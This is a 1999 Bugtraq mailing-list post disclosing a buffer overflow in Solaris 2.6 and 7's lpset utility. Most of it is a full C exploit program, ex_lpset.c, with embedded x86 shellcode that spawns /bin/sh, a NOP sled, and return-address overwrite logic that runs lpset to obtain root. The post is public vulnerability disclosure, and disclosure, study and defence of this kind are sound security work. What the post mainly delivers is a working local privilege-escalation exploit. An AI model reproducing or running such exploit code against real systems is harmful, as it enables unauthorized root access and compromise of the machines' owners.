[10519] in bugtraq
Solaris2.6 and 2.7 lpset overflow
daemon@ATHENA.MIT.EDU (UNYUN@ShadowPenguinSecurity)
Tue May 11 21:50:20 1999
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Date: Tue, 11 May 1999 17:50:47 +0900
Reply-To: "UNYUN@ShadowPenguinSecurity" <unyun@MAIL.GOO.NE.JP>
From: "UNYUN@ShadowPenguinSecurity" <unyun@MAIL.GOO.NE.JP>
To: BUGTRAQ@NETSPACE.ORG
lpset which is installed in Solaris2.6 and Solaris7 has overflow bug,
I wrote an exploit program to obtain root privilege.
The following exploit program is for Solaris2.6 and Solaris7 of
Intel edition. There is same vulnerabillity in Sparc edition.
/*===================================================================
ex_lpset.c Overflow Exploits( for Intel Edition )
The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
Written by UNYUN (unewn4th@usa.net)
=====================================================================
*/
#define OFFSET 0x3b88
#define STARTADR 700
#define ENDADR 1200
#define EX_STADR 8000
#define BUFSIZE 22000
#define NOP 0x90
unsigned long ret_adr;
int i,adjust;
char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff\x55"
"\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33\xc0"
"\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e"
"\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3"
"\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46\x08"
"\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01\xe8"
"\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
{
__asm__(" movl %esp,%eax ");
}
static char x[BUFSIZE];
main(int argc, char **argv)
{
memset(x,NOP,18000);
ret_adr=get_sp()-OFFSET;
printf("0 : x86 Solaris2.6 J\n1 : ?\n2 : ?\n3 : x86 Solaris 7 J\n");
printf("Input (0-3) : "); scanf("%d",&adjust);
printf("Jumping Address = 0x%lx\n",ret_adr);
for (i = adjust+STARTADR; i<ENDADR ; i+=4){
x[i+2]=ret_adr & 0xff;
x[i+3]=(ret_adr >> 8 ) &0xff;
x[i+0]=(ret_adr >> 16 ) &0xff;
x[i+1]=(ret_adr >> 24 ) &0xff;
}
for (i=0;i<strlen(exploit_code);i++)
x[i+EX_STADR]=exploit_code[i];
x[5000]='=';
x[18000]=0;
execl("/usr/bin/lpset","lpset","-n","xfn","-a",x,"lpcol1",(char *) 0);
}
---
The Shadow Penguin Security : http://base.oc.to/skyscraper/byte/551
Webmaster : UNYUN (unewn4th@usa.net)
